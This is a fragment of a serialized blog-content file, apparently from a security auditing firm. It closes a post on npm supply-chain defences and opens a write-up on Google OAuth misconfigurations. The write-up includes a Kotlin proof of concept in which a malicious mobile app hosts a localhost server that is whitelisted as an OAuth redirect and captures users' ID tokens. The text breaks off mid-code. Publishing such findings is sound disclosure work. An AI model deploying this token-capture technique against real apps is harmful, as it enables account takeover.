",{"type":24,"tag":154,"props":100949,"children":100951},{"className":100950},[],[100952],{"type":29,"value":100389},{"type":29,"value":100954}," provide a baseline defense, but Lavamoat represents the next step: enforcing least privilege for dependencies. If you’re building critical applications, adopting and contributing to Lavamoat is one of the most effective ways to stay ahead.",{"type":24,"tag":4517,"props":100956,"children":100957},{},[100958],{"type":29,"value":4521},{"title":7,"searchDepth":213,"depth":213,"links":100960},[100961,100964,100965,100974,100975],{"id":98577,"depth":213,"text":98580,"children":100962},[100963],{"id":100212,"depth":238,"text":100215},{"id":100223,"depth":213,"text":100226},{"id":100239,"depth":213,"text":100242,"children":100966},[100967,100969,100971,100973],{"id":100250,"depth":238,"text":100968},"1. Version pinning in package.json",{"id":100380,"depth":238,"text":100970},"2. Use npm ci",{"id":100417,"depth":238,"text":100972},"3. Implement Lavamoat",{"id":100708,"depth":238,"text":100711},{"id":100912,"depth":213,"text":100915},{"id":77075,"depth":213,"text":77078},"content:blog:2025-09-13-how-to-survive-supply-chain-attacks.md","blog/2025-09-13-how-to-survive-supply-chain-attacks.md","blog/2025-09-13-how-to-survive-supply-chain-attacks",{"_path":100980,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":100981,"description":100982,"date":100983,"author":100984,"image":100985,"isFeatured":16,"onBlogPage":16,"tags":100987,"body":100990,"_type":4536,"_id":103321,"_source":4538,"_file":103322,"_stem":103323,"_extension":4541},"/blog/2025-10-16-how-we-broke-exchanges-oauth-misconfigurations","How We Broke Exchanges: A Deep Dive Into Authentication And Client-Side Bugs","OAuth misconfigurations show how common dev settings can lead to account takeovers. Explore real cases where failing to account for differences between desktop and mobile environments left SDKs, exchanges, and wallets vulnerable to exploits.","2025-10-16T12:00:00.000Z",[32462,32461],{"src":100986,"width":98546,"height":14857},"/posts/oauth-misconfigurations/title.png",[100988,100989],"oAuth","exchanges",{"type":21,"children":100991,"toc":103308},[100992,100998,101003,101009,101029,101035,101040,101053,101058,101066,101080,101089,101098,101112,101120,101131,101191,101197,101209,101258,101264,101269,101282,101289,101300,101320,101339,101360,101366,101379,101384,101390,101409,102034,102039,102052,102913,102918,102923,102929,102934,102940,102945,102958,102998,103004,103017,103022,103055,103060,103065,103090,103095,103107,103264,103269,103273,103285,103290,103294,103299,103304],{"type":24,"tag":59,"props":100993,"children":100995},{"id":100994},"exploiting-oauth",[100996],{"type":29,"value":100997},"Exploiting OAuth",{"type":24,"tag":25,"props":100999,"children":101000},{},[101001],{"type":29,"value":101002},"Our main research focus was related to recent vulnerabilities we found in some of our audits. One common issue we find is related to OAuth misconfigurations that can be exploited to achieve account takeover. To understand the vulnerability and the exploit itself, we first need to dig into the different OAuth flows and the configurations that can be made in the Google Cloud Console.",{"type":24,"tag":395,"props":101004,"children":101006},{"id":101005},"google-authentication-flows",[101007],{"type":29,"value":101008},"Google Authentication Flows",{"type":24,"tag":25,"props":101010,"children":101011},{},[101012,101014,101020,101022,101027],{"type":29,"value":101013},"During our research, we identified various Google Authentication flows that require different exploitation methods. The new/most recent flow is called GSI, which mainly uses ",{"type":24,"tag":154,"props":101015,"children":101017},{"className":101016},[],[101018],{"type":29,"value":101019},"postMessage",{"type":29,"value":101021}," for communication with the Relying Party (RP), and the old one mostly uses ",{"type":24,"tag":154,"props":101023,"children":101025},{"className":101024},[],[101026],{"type":29,"value":71041},{"type":29,"value":101028}," to send the token back to the RP.",{"type":24,"tag":20134,"props":101030,"children":101032},{"id":101031},"gsi-new-flow",[101033],{"type":29,"value":101034},"GSI (New Flow)",{"type":24,"tag":25,"props":101036,"children":101037},{},[101038],{"type":29,"value":101039},"The GSI flow also has two ways to authenticate the user to the RP:",{"type":24,"tag":17924,"props":101041,"children":101042},{},[101043,101048],{"type":24,"tag":1790,"props":101044,"children":101045},{},[101046],{"type":29,"value":101047},"Using FedCM API",{"type":24,"tag":1790,"props":101049,"children":101050},{},[101051],{"type":29,"value":101052},"Without using FedCM API",{"type":24,"tag":25,"props":101054,"children":101055},{},[101056],{"type":29,"value":101057},"FedCM (Federated Credentials Manager) is a new browser API that lets users authenticate natively to an RP using a third-party IdP.",{"type":24,"tag":25,"props":101059,"children":101060},{},[101061],{"type":24,"tag":897,"props":101062,"children":101063},{},[101064],{"type":29,"value":101065},"FedCM Method",{"type":24,"tag":25,"props":101067,"children":101068},{},[101069,101071,101078],{"type":29,"value":101070},"The FedCM method basically follows this ",{"type":24,"tag":101,"props":101072,"children":101075},{"href":101073,"rel":101074},"https://privacysandbox.google.com/cookies/fedcm/why#user-interaction",[105],[101076],{"type":29,"value":101077},"user experience",{"type":29,"value":101079},". Users can log in by clicking a login button (which will open a \"choose your account\" prompt window) or by 1-tap UX (see images below).",{"type":24,"tag":25,"props":101081,"children":101082},{},[101083,101085],{"type":29,"value":101084},"The normal flow, clicking the \"sign in\" button:\n",{"type":24,"tag":84,"props":101086,"children":101088},{"alt":51850,"src":101087},"/posts/oauth-misconfigurations/image1.png",[],{"type":24,"tag":25,"props":101090,"children":101091},{},[101092,101094],{"type":29,"value":101093},"One-Tap popup shown when you open the page:\n",{"type":24,"tag":84,"props":101095,"children":101097},{"alt":51850,"src":101096},"/posts/oauth-misconfigurations/image2.png",[],{"type":24,"tag":25,"props":101099,"children":101100},{},[101101,101103,101110],{"type":29,"value":101102},"Both flows use FedCM API to authenticate using Google IdP service, which makes some CORS requests to the IdP server to return the token. After authenticating the first time, when the user returns to the same website after some time, it is possible to automatically reauthenticate using ",{"type":24,"tag":101,"props":101104,"children":101107},{"href":101105,"rel":101106},"https://github.com/w3c-fedid/FedCM/issues/429",[105],[101108],{"type":29,"value":101109},"FedCM auto-reauthentication",{"type":29,"value":101111},", which has certain preconditions that must be met.",{"type":24,"tag":25,"props":101113,"children":101114},{},[101115],{"type":24,"tag":897,"props":101116,"children":101117},{},[101118],{"type":29,"value":101119},"Non-FedCM Method",{"type":24,"tag":25,"props":101121,"children":101122},{},[101123,101125,101130],{"type":29,"value":101124},"This method uses a popup window (or iframe) to open the Google OAuth consent page and return the token via ",{"type":24,"tag":154,"props":101126,"children":101128},{"className":101127},[],[101129],{"type":29,"value":101019},{"type":29,"value":225},{"type":24,"tag":1786,"props":101132,"children":101133},{},[101134,101139,101163,101168,101179],{"type":24,"tag":1790,"props":101135,"children":101136},{},[101137],{"type":29,"value":101138},"The user clicks the sign in button",{"type":24,"tag":1790,"props":101140,"children":101141},{},[101142,101144,101150,101152,101157,101158],{"type":29,"value":101143},"RP opens a popup/iframe to ",{"type":24,"tag":101,"props":101145,"children":101148},{"href":101146,"rel":101147},"https://accounts.google.com/o/oauth2/v2/auth",[105],[101149],{"type":29,"value":101146},{"type":29,"value":101151}," with some important parameters like ",{"type":24,"tag":154,"props":101153,"children":101155},{"className":101154},[],[101156],{"type":29,"value":70873},{"type":29,"value":1826},{"type":24,"tag":154,"props":101159,"children":101161},{"className":101160},[],[101162],{"type":29,"value":41400},{"type":24,"tag":1790,"props":101164,"children":101165},{},[101166],{"type":29,"value":101167},"The user clicks the \"Continue\" button to authorize authentication",{"type":24,"tag":1790,"props":101169,"children":101170},{},[101171,101173],{"type":29,"value":101172},"They get redirected to ",{"type":24,"tag":101,"props":101174,"children":101177},{"href":101175,"rel":101176},"https://accounts.google.com/gsi/transform",[105],[101178],{"type":29,"value":101175},{"type":24,"tag":1790,"props":101180,"children":101181},{},[101182,101184,101189],{"type":29,"value":101183},"/gsi/transform sends the token back to the RP via ",{"type":24,"tag":154,"props":101185,"children":101187},{"className":101186},[],[101188],{"type":29,"value":101019},{"type":29,"value":101190}," (after some SYN/ACK messages)",{"type":24,"tag":20134,"props":101192,"children":101194},{"id":101193},"oauth-20-old-flow",[101195],{"type":29,"value":101196},"OAuth 2.0 Old Flow",{"type":24,"tag":25,"props":101198,"children":101199},{},[101200,101202,101207],{"type":29,"value":101201},"The old flow also redirects the user to the Google OAuth consent page and then returns the token via a ",{"type":24,"tag":154,"props":101203,"children":101205},{"className":101204},[],[101206],{"type":29,"value":71041},{"type":29,"value":101208}," provided in the URL and validated by a whitelist configuration:",{"type":24,"tag":1786,"props":101210,"children":101211},{},[101212,101216,101237,101241],{"type":24,"tag":1790,"props":101213,"children":101214},{},[101215],{"type":29,"value":101138},{"type":24,"tag":1790,"props":101217,"children":101218},{},[101219,101220,101225,101226,101231,101232],{"type":29,"value":101143},{"type":24,"tag":101,"props":101221,"children":101223},{"href":101146,"rel":101222},[105],[101224],{"type":29,"value":101146},{"type":29,"value":101151},{"type":24,"tag":154,"props":101227,"children":101229},{"className":101228},[],[101230],{"type":29,"value":70873},{"type":29,"value":1826},{"type":24,"tag":154,"props":101233,"children":101235},{"className":101234},[],[101236],{"type":29,"value":71041},{"type":24,"tag":1790,"props":101238,"children":101239},{},[101240],{"type":29,"value":101167},{"type":24,"tag":1790,"props":101242,"children":101243},{},[101244,101245,101250,101252],{"type":29,"value":101172},{"type":24,"tag":154,"props":101246,"children":101248},{"className":101247},[],[101249],{"type":29,"value":71041},{"type":29,"value":101251}," with the token in the query parameters or ",{"type":24,"tag":154,"props":101253,"children":101255},{"className":101254},[],[101256],{"type":29,"value":101257},"location.hash",{"type":24,"tag":20134,"props":101259,"children":101261},{"id":101260},"different-configurations",[101262],{"type":29,"value":101263},"Different Configurations",{"type":24,"tag":25,"props":101265,"children":101266},{},[101267],{"type":29,"value":101268},"These two flows must be configured differently in the Google Cloud Console. There are two whitelist configurations that we can control:",{"type":24,"tag":17924,"props":101270,"children":101271},{},[101272,101277],{"type":24,"tag":1790,"props":101273,"children":101274},{},[101275],{"type":29,"value":101276},"Authorized origins",{"type":24,"tag":1790,"props":101278,"children":101279},{},[101280],{"type":29,"value":101281},"Authorized redirect URIs",{"type":24,"tag":25,"props":101283,"children":101284},{},[101285],{"type":24,"tag":84,"props":101286,"children":101288},{"alt":51850,"src":101287},"/posts/oauth-misconfigurations/image3.png",[],{"type":24,"tag":25,"props":101290,"children":101291},{},[101292,101294,101299],{"type":29,"value":101293},"The described GSI flow doesn't use any redirection to send the token back to the RP, so the authorized redirect URI is not that important in the GSI flow. It uses the authorized origins to verify if the RP page is actually allowed to be authenticated using that ",{"type":24,"tag":154,"props":101295,"children":101297},{"className":101296},[],[101298],{"type":29,"value":70873},{"type":29,"value":347},{"type":24,"tag":25,"props":101301,"children":101302},{},[101303,101305,101311,101313,101318],{"type":29,"value":101304},"The actual verification in the GSI flow happens in the CORS requests made by FedCM or in ",{"type":24,"tag":154,"props":101306,"children":101308},{"className":101307},[],[101309],{"type":29,"value":101310},"/oauth2/v2/auth",{"type":29,"value":101312}," by checking the ",{"type":24,"tag":154,"props":101314,"children":101316},{"className":101315},[],[101317],{"type":29,"value":41400},{"type":29,"value":101319}," query parameter.",{"type":24,"tag":25,"props":101321,"children":101322},{},[101323,101325,101330,101332,101337],{"type":29,"value":101324},"In the old flow, the ",{"type":24,"tag":154,"props":101326,"children":101328},{"className":101327},[],[101329],{"type":29,"value":71041},{"type":29,"value":101331}," parameter passed in the ",{"type":24,"tag":154,"props":101333,"children":101335},{"className":101334},[],[101336],{"type":29,"value":101310},{"type":29,"value":101338}," endpoint is validated against the authorized redirect URIs.",{"type":24,"tag":25,"props":101340,"children":101341},{},[101342,101344,101349,101351,101358],{"type":29,"value":101343},"Note that the new GSI flow can also have a different flow using ",{"type":24,"tag":154,"props":101345,"children":101347},{"className":101346},[],[101348],{"type":29,"value":71041},{"type":29,"value":101350}," validation. To execute this flow, you need to specify ",{"type":24,"tag":101,"props":101352,"children":101355},{"href":101353,"rel":101354},"https://developers.google.com/identity/gsi/web/reference/js-reference#login_uri",[105],[101356],{"type":29,"value":101357},"login_uri",{"type":29,"value":101359}," while using the SDK.",{"type":24,"tag":395,"props":101361,"children":101363},{"id":101362},"localhost-exploit",[101364],{"type":29,"value":101365},"Localhost Exploit",{"type":24,"tag":25,"props":101367,"children":101368},{},[101369,101371,101377],{"type":29,"value":101370},"During one of our audits, we found a bug related to how developers test the OAuth flow in their development environment. Developers often whitelist the ",{"type":24,"tag":154,"props":101372,"children":101374},{"className":101373},[],[101375],{"type":29,"value":101376},"localhost",{"type":29,"value":101378}," origin because it is considered trusted for local testing.",{"type":24,"tag":25,"props":101380,"children":101381},{},[101382],{"type":29,"value":101383},"Actually, this is partially true, as it depends on which security assumptions you make. This can be an issue in a mobile environment, as mobile apps can open localhost webservers without many permissions, and having a malicious app installed is not considered a significant issue on mobile since all applications are sandboxed. This configuration allows a malicious application to \"escape\" the sandbox and attack another system.",{"type":24,"tag":20134,"props":101385,"children":101387},{"id":101386},"exploit",[101388],{"type":29,"value":101389},"Exploit",{"type":24,"tag":25,"props":101391,"children":101392},{},[101393,101395,101400,101401,101407],{"type":29,"value":101394},"To exploit this misconfiguration, we first needed to understand the OAuth flow used by the target. If the OAuth implementation follows a standard flow without using Google Sign-In (GSI), we can extract the token via ",{"type":24,"tag":154,"props":101396,"children":101398},{"className":101397},[],[101399],{"type":29,"value":101257},{"type":29,"value":4028},{"type":24,"tag":154,"props":101402,"children":101404},{"className":101403},[],[101405],{"type":29,"value":101406},"location.search",{"type":29,"value":101408},". To achieve this, we developed a Kotlin application that spins up a local web server:",{"type":24,"tag":147,"props":101410,"children":101414},{"className":101411,"code":101412,"language":101413,"meta":7,"style":7},"language-kt shiki shiki-themes slack-dark"," override fun onCreate(savedInstanceState: Bundle?){\n super.onCreate(savedInstanceState)\n\n // Start the Ktor web server\n CoroutineScope(Dispatchers.IO).launch {\n try {\n startWebServer()\n Log.d(\"WebServer\", \"Server started on http://localhost:3000\")\n } catch (e: Exception) {\n Log.e(\"WebServer\", \"Error starting server: ${e.message}\", e)\n }\n }\n\n // Open the Google OAuth page\n val googleOAuthUrl = \"https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?client_id=redacted&redirect_uri=http://localhost:3000/auth/index.html&response_type=id_token&scope=email&nonce=redacted&prompt=select_account&service=lso&o2v=2&flowName=GeneralOAuthFlow\"\n val browserIntent = Intent(Intent.ACTION_VIEW, Uri.parse(googleOAuthUrl))\n startActivity(browserIntent)\n }\n\n private fun startWebServer() {\n embeddedServer(CIO, port = 3000) {\n routing {\n get(\"{...}\") {\n call.respondHtml {\n head {\n meta(charset = \"UTF-8\")\n meta(name = \"viewport\", content = \"width=device-width, initial-scale=1.0\")\n title(\"OAuth Redirect\")\n }\n body {\n h1 { +\"Google OAuth Redirect\" }\n script {\n +\"document.body.innerText = location.hash;\"\n }\n }\n }\n }\n }\n }.start(wait = true)\n }\n","kt",[101415],{"type":24,"tag":154,"props":101416,"children":101417},{"__ignoreMap":7},[101418,101447,101466,101473,101480,101499,101510,101521,101552,101575,101622,101629,101636,101643,101650,101670,101701,101712,101719,101726,101745,101768,101779,101798,101813,101824,101847,101882,101901,101908,101919,101942,101953,101965,101972,101979,101986,101993,102000,102027],{"type":24,"tag":158,"props":101419,"children":101420},{"class":160,"line":161},[101421,101426,101430,101434,101438,101442],{"type":24,"tag":158,"props":101422,"children":101423},{"style":165},[101424],{"type":29,"value":101425}," override",{"type":24,"tag":158,"props":101427,"children":101428},{"style":165},[101429],{"type":29,"value":493},{"type":24,"tag":158,"props":101431,"children":101432},{"style":496},[101433],{"type":29,"value":71729},{"type":24,"tag":158,"props":101435,"children":101436},{"style":188},[101437],{"type":29,"value":71734},{"type":24,"tag":158,"props":101439,"children":101440},{"style":171},[101441],{"type":29,"value":71739},{"type":24,"tag":158,"props":101443,"children":101444},{"style":188},[101445],{"type":29,"value":101446},"?){\n",{"type":24,"tag":158,"props":101448,"children":101449},{"class":160,"line":213},[101450,101454,101458,101462],{"type":24,"tag":158,"props":101451,"children":101452},{"style":165},[101453],{"type":29,"value":71752},{"type":24,"tag":158,"props":101455,"children":101456},{"style":188},[101457],{"type":29,"value":347},{"type":24,"tag":158,"props":101459,"children":101460},{"style":496},[101461],{"type":29,"value":71761},{"type":24,"tag":158,"props":101463,"children":101464},{"style":188},[101465],{"type":29,"value":71766},{"type":24,"tag":158,"props":101467,"children":101468},{"class":160,"line":238},[101469],{"type":24,"tag":158,"props":101470,"children":101471},{"emptyLinePlaceholder":16},[101472],{"type":29,"value":481},{"type":24,"tag":158,"props":101474,"children":101475},{"class":160,"line":259},[101476],{"type":24,"tag":158,"props":101477,"children":101478},{"style":2588},[101479],{"type":29,"value":71781},{"type":24,"tag":158,"props":101481,"children":101482},{"class":160,"line":280},[101483,101487,101491,101495],{"type":24,"tag":158,"props":101484,"children":101485},{"style":496},[101486],{"type":29,"value":71789},{"type":24,"tag":158,"props":101488,"children":101489},{"style":188},[101490],{"type":29,"value":71794},{"type":24,"tag":158,"props":101492,"children":101493},{"style":496},[101494],{"type":29,"value":71799},{"type":24,"tag":158,"props":101496,"children":101497},{"style":188},[101498],{"type":29,"value":210},{"type":24,"tag":158,"props":101500,"children":101501},{"class":160,"line":301},[101502,101506],{"type":24,"tag":158,"props":101503,"children":101504},{"style":1914},[101505],{"type":29,"value":71811},{"type":24,"tag":158,"props":101507,"children":101508},{"style":188},[101509],{"type":29,"value":210},{"type":24,"tag":158,"props":101511,"children":101512},{"class":160,"line":626},[101513,101517],{"type":24,"tag":158,"props":101514,"children":101515},{"style":496},[101516],{"type":29,"value":71823},{"type":24,"tag":158,"props":101518,"children":101519},{"style":188},[101520],{"type":29,"value":9376},{"type":24,"tag":158,"props":101522,"children":101523},{"class":160,"line":668},[101524,101528,101532,101536,101540,101544,101548],{"type":24,"tag":158,"props":101525,"children":101526},{"style":188},[101527],{"type":29,"value":71835},{"type":24,"tag":158,"props":101529,"children":101530},{"style":496},[101531],{"type":29,"value":71840},{"type":24,"tag":158,"props":101533,"children":101534},{"style":188},[101535],{"type":29,"value":504},{"type":24,"tag":158,"props":101537,"children":101538},{"style":1108},[101539],{"type":29,"value":71849},{"type":24,"tag":158,"props":101541,"children":101542},{"style":188},[101543],{"type":29,"value":191},{"type":24,"tag":158,"props":101545,"children":101546},{"style":1108},[101547],{"type":29,"value":71858},{"type":24,"tag":158,"props":101549,"children":101550},{"style":188},[101551],{"type":29,"value":2125},{"type":24,"tag":158,"props":101553,"children":101554},{"class":160,"line":676},[101555,101559,101563,101567,101571],{"type":24,"tag":158,"props":101556,"children":101557},{"style":188},[101558],{"type":29,"value":71870},{"type":24,"tag":158,"props":101560,"children":101561},{"style":165},[101562],{"type":29,"value":49682},{"type":24,"tag":158,"props":101564,"children":101565},{"style":188},[101566],{"type":29,"value":71879},{"type":24,"tag":158,"props":101568,"children":101569},{"style":171},[101570],{"type":29,"value":71884},{"type":24,"tag":158,"props":101572,"children":101573},{"style":188},[101574],{"type":29,"value":16038},{"type":24,"tag":158,"props":101576,"children":101577},{"class":160,"line":684},[101578,101582,101586,101590,101594,101598,101602,101606,101610,101614,101618],{"type":24,"tag":158,"props":101579,"children":101580},{"style":188},[101581],{"type":29,"value":71835},{"type":24,"tag":158,"props":101583,"children":101584},{"style":496},[101585],{"type":29,"value":52726},{"type":24,"tag":158,"props":101587,"children":101588},{"style":188},[101589],{"type":29,"value":504},{"type":24,"tag":158,"props":101591,"children":101592},{"style":1108},[101593],{"type":29,"value":71849},{"type":24,"tag":158,"props":101595,"children":101596},{"style":188},[101597],{"type":29,"value":191},{"type":24,"tag":158,"props":101599,"children":101600},{"style":1108},[101601],{"type":29,"value":71916},{"type":24,"tag":158,"props":101603,"children":101604},{"style":165},[101605],{"type":29,"value":35371},{"type":24,"tag":158,"props":101607,"children":101608},{"style":222},[101609],{"type":29,"value":71925},{"type":24,"tag":158,"props":101611,"children":101612},{"style":165},[101613],{"type":29,"value":35403},{"type":24,"tag":158,"props":101615,"children":101616},{"style":1108},[101617],{"type":29,"value":21303},{"type":24,"tag":158,"props":101619,"children":101620},{"style":188},[101621],{"type":29,"value":71938},{"type":24,"tag":158,"props":101623,"children":101624},{"class":160,"line":700},[101625],{"type":24,"tag":158,"props":101626,"children":101627},{"style":188},[101628],{"type":29,"value":60158},{"type":24,"tag":158,"props":101630,"children":101631},{"class":160,"line":785},[101632],{"type":24,"tag":158,"props":101633,"children":101634},{"style":188},[101635],{"type":29,"value":5010},{"type":24,"tag":158,"props":101637,"children":101638},{"class":160,"line":1447},[101639],{"type":24,"tag":158,"props":101640,"children":101641},{"emptyLinePlaceholder":16},[101642],{"type":29,"value":481},{"type":24,"tag":158,"props":101644,"children":101645},{"class":160,"line":1509},[101646],{"type":24,"tag":158,"props":101647,"children":101648},{"style":2588},[101649],{"type":29,"value":71967},{"type":24,"tag":158,"props":101651,"children":101652},{"class":160,"line":1527},[101653,101657,101661,101665],{"type":24,"tag":158,"props":101654,"children":101655},{"style":165},[101656],{"type":29,"value":71975},{"type":24,"tag":158,"props":101658,"children":101659},{"style":188},[101660],{"type":29,"value":71980},{"type":24,"tag":158,"props":101662,"children":101663},{"style":222},[101664],{"type":29,"value":1285},{"type":24,"tag":158,"props":101666,"children":101667},{"style":1108},[101668],{"type":29,"value":101669}," \"https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?client_id=redacted&redirect_uri=http://localhost:3000/auth/index.html&response_type=id_token&scope=email&nonce=redacted&prompt=select_account&service=lso&o2v=2&flowName=GeneralOAuthFlow\"\n",{"type":24,"tag":158,"props":101671,"children":101672},{"class":160,"line":1545},[101673,101677,101681,101685,101689,101693,101697],{"type":24,"tag":158,"props":101674,"children":101675},{"style":165},[101676],{"type":29,"value":71975},{"type":24,"tag":158,"props":101678,"children":101679},{"style":188},[101680],{"type":29,"value":72001},{"type":24,"tag":158,"props":101682,"children":101683},{"style":222},[101684],{"type":29,"value":1285},{"type":24,"tag":158,"props":101686,"children":101687},{"style":496},[101688],{"type":29,"value":72010},{"type":24,"tag":158,"props":101690,"children":101691},{"style":188},[101692],{"type":29,"value":72015},{"type":24,"tag":158,"props":101694,"children":101695},{"style":496},[101696],{"type":29,"value":40476},{"type":24,"tag":158,"props":101698,"children":101699},{"style":188},[101700],{"type":29,"value":72024},{"type":24,"tag":158,"props":101702,"children":101703},{"class":160,"line":1618},[101704,101708],{"type":24,"tag":158,"props":101705,"children":101706},{"style":496},[101707],{"type":29,"value":72032},{"type":24,"tag":158,"props":101709,"children":101710},{"style":188},[101711],{"type":29,"value":72037},{"type":24,"tag":158,"props":101713,"children":101714},{"class":160,"line":1635},[101715],{"type":24,"tag":158,"props":101716,"children":101717},{"style":188},[101718],{"type":29,"value":3967},{"type":24,"tag":158,"props":101720,"children":101721},{"class":160,"line":1644},[101722],{"type":24,"tag":158,"props":101723,"children":101724},{"emptyLinePlaceholder":16},[101725],{"type":29,"value":481},{"type":24,"tag":158,"props":101727,"children":101728},{"class":160,"line":1652},[101729,101733,101737,101741],{"type":24,"tag":158,"props":101730,"children":101731},{"style":165},[101732],{"type":29,"value":72059},{"type":24,"tag":158,"props":101734,"children":101735},{"style":165},[101736],{"type":29,"value":493},{"type":24,"tag":158,"props":101738,"children":101739},{"style":496},[101740],{"type":29,"value":72068},{"type":24,"tag":158,"props":101742,"children":101743},{"style":188},[101744],{"type":29,"value":16972},{"type":24,"tag":158,"props":101746,"children":101747},{"class":160,"line":1704},[101748,101752,101756,101760,101764],{"type":24,"tag":158,"props":101749,"children":101750},{"style":496},[101751],{"type":29,"value":72080},{"type":24,"tag":158,"props":101753,"children":101754},{"style":188},[101755],{"type":29,"value":72085},{"type":24,"tag":158,"props":101757,"children":101758},{"style":222},[101759],{"type":29,"value":1285},{"type":24,"tag":158,"props":101761,"children":101762},{"style":465},[101763],{"type":29,"value":72094},{"type":24,"tag":158,"props":101765,"children":101766},{"style":188},[101767],{"type":29,"value":16038},{"type":24,"tag":158,"props":101769,"children":101770},{"class":160,"line":1713},[101771,101775],{"type":24,"tag":158,"props":101772,"children":101773},{"style":496},[101774],{"type":29,"value":72106},{"type":24,"tag":158,"props":101776,"children":101777},{"style":188},[101778],{"type":29,"value":210},{"type":24,"tag":158,"props":101780,"children":101781},{"class":160,"line":1731},[101782,101786,101790,101794],{"type":24,"tag":158,"props":101783,"children":101784},{"style":165},[101785],{"type":29,"value":72118},{"type":24,"tag":158,"props":101787,"children":101788},{"style":188},[101789],{"type":29,"value":504},{"type":24,"tag":158,"props":101791,"children":101792},{"style":1108},[101793],{"type":29,"value":72127},{"type":24,"tag":158,"props":101795,"children":101796},{"style":188},[101797],{"type":29,"value":16038},{"type":24,"tag":158,"props":101799,"children":101800},{"class":160,"line":5485},[101801,101805,101809],{"type":24,"tag":158,"props":101802,"children":101803},{"style":188},[101804],{"type":29,"value":72139},{"type":24,"tag":158,"props":101806,"children":101807},{"style":496},[101808],{"type":29,"value":72144},{"type":24,"tag":158,"props":101810,"children":101811},{"style":188},[101812],{"type":29,"value":210},{"type":24,"tag":158,"props":101814,"children":101815},{"class":160,"line":5493},[101816,101820],{"type":24,"tag":158,"props":101817,"children":101818},{"style":496},[101819],{"type":29,"value":72156},{"type":24,"tag":158,"props":101821,"children":101822},{"style":188},[101823],{"type":29,"value":210},{"type":24,"tag":158,"props":101825,"children":101826},{"class":160,"line":5553},[101827,101831,101835,101839,101843],{"type":24,"tag":158,"props":101828,"children":101829},{"style":496},[101830],{"type":29,"value":72168},{"type":24,"tag":158,"props":101832,"children":101833},{"style":188},[101834],{"type":29,"value":72173},{"type":24,"tag":158,"props":101836,"children":101837},{"style":222},[101838],{"type":29,"value":1285},{"type":24,"tag":158,"props":101840,"children":101841},{"style":1108},[101842],{"type":29,"value":72182},{"type":24,"tag":158,"props":101844,"children":101845},{"style":188},[101846],{"type":29,"value":2125},{"type":24,"tag":158,"props":101848,"children":101849},{"class":160,"line":10636},[101850,101854,101858,101862,101866,101870,101874,101878],{"type":24,"tag":158,"props":101851,"children":101852},{"style":496},[101853],{"type":29,"value":72168},{"type":24,"tag":158,"props":101855,"children":101856},{"style":188},[101857],{"type":29,"value":72198},{"type":24,"tag":158,"props":101859,"children":101860},{"style":222},[101861],{"type":29,"value":1285},{"type":24,"tag":158,"props":101863,"children":101864},{"style":1108},[101865],{"type":29,"value":72207},{"type":24,"tag":158,"props":101867,"children":101868},{"style":188},[101869],{"type":29,"value":72212},{"type":24,"tag":158,"props":101871,"children":101872},{"style":222},[101873],{"type":29,"value":1285},{"type":24,"tag":158,"props":101875,"children":101876},{"style":1108},[101877],{"type":29,"value":72221},{"type":24,"tag":158,"props":101879,"children":101880},{"style":188},[101881],{"type":29,"value":2125},{"type":24,"tag":158,"props":101883,"children":101884},{"class":160,"line":10652},[101885,101889,101893,101897],{"type":24,"tag":158,"props":101886,"children":101887},{"style":496},[101888],{"type":29,"value":72233},{"type":24,"tag":158,"props":101890,"children":101891},{"style":188},[101892],{"type":29,"value":504},{"type":24,"tag":158,"props":101894,"children":101895},{"style":1108},[101896],{"type":29,"value":72242},{"type":24,"tag":158,"props":101898,"children":101899},{"style":188},[101900],{"type":29,"value":2125},{"type":24,"tag":158,"props":101902,"children":101903},{"class":160,"line":10696},[101904],{"type":24,"tag":158,"props":101905,"children":101906},{"style":188},[101907],{"type":29,"value":72254},{"type":24,"tag":158,"props":101909,"children":101910},{"class":160,"line":10801},[101911,101915],{"type":24,"tag":158,"props":101912,"children":101913},{"style":496},[101914],{"type":29,"value":72262},{"type":24,"tag":158,"props":101916,"children":101917},{"style":188},[101918],{"type":29,"value":210},{"type":24,"tag":158,"props":101920,"children":101921},{"class":160,"line":24754},[101922,101926,101930,101934,101938],{"type":24,"tag":158,"props":101923,"children":101924},{"style":496},[101925],{"type":29,"value":72274},{"type":24,"tag":158,"props":101927,"children":101928},{"style":188},[101929],{"type":29,"value":372},{"type":24,"tag":158,"props":101931,"children":101932},{"style":222},[101933],{"type":29,"value":728},{"type":24,"tag":158,"props":101935,"children":101936},{"style":1108},[101937],{"type":29,"value":72287},{"type":24,"tag":158,"props":101939,"children":101940},{"style":188},[101941],{"type":29,"value":382},{"type":24,"tag":158,"props":101943,"children":101944},{"class":160,"line":24789},[101945,101949],{"type":24,"tag":158,"props":101946,"children":101947},{"style":496},[101948],{"type":29,"value":72299},{"type":24,"tag":158,"props":101950,"children":101951},{"style":188},[101952],{"type":29,"value":210},{"type":24,"tag":158,"props":101954,"children":101955},{"class":160,"line":24797},[101956,101960],{"type":24,"tag":158,"props":101957,"children":101958},{"style":222},[101959],{"type":29,"value":72311},{"type":24,"tag":158,"props":101961,"children":101962},{"style":1108},[101963],{"type":29,"value":101964},"\"document.body.innerText = location.hash;\"\n",{"type":24,"tag":158,"props":101966,"children":101967},{"class":160,"line":24805},[101968],{"type":24,"tag":158,"props":101969,"children":101970},{"style":188},[101971],{"type":29,"value":72324},{"type":24,"tag":158,"props":101973,"children":101974},{"class":160,"line":24814},[101975],{"type":24,"tag":158,"props":101976,"children":101977},{"style":188},[101978],{"type":29,"value":72254},{"type":24,"tag":158,"props":101980,"children":101981},{"class":160,"line":24856},[101982],{"type":24,"tag":158,"props":101983,"children":101984},{"style":188},[101985],{"type":29,"value":72339},{"type":24,"tag":158,"props":101987,"children":101988},{"class":160,"line":24889},[101989],{"type":24,"tag":158,"props":101990,"children":101991},{"style":188},[101992],{"type":29,"value":72347},{"type":24,"tag":158,"props":101994,"children":101995},{"class":160,"line":24897},[101996],{"type":24,"tag":158,"props":101997,"children":101998},{"style":188},[101999],{"type":29,"value":60158},{"type":24,"tag":158,"props":102001,"children":102002},{"class":160,"line":24905},[102003,102007,102011,102015,102019,102023],{"type":24,"tag":158,"props":102004,"children":102005},{"style":188},[102006],{"type":29,"value":72362},{"type":24,"tag":158,"props":102008,"children":102009},{"style":496},[102010],{"type":29,"value":72367},{"type":24,"tag":158,"props":102012,"children":102013},{"style":188},[102014],{"type":29,"value":72372},{"type":24,"tag":158,"props":102016,"children":102017},{"style":222},[102018],{"type":29,"value":1285},{"type":24,"tag":158,"props":102020,"children":102021},{"style":165},[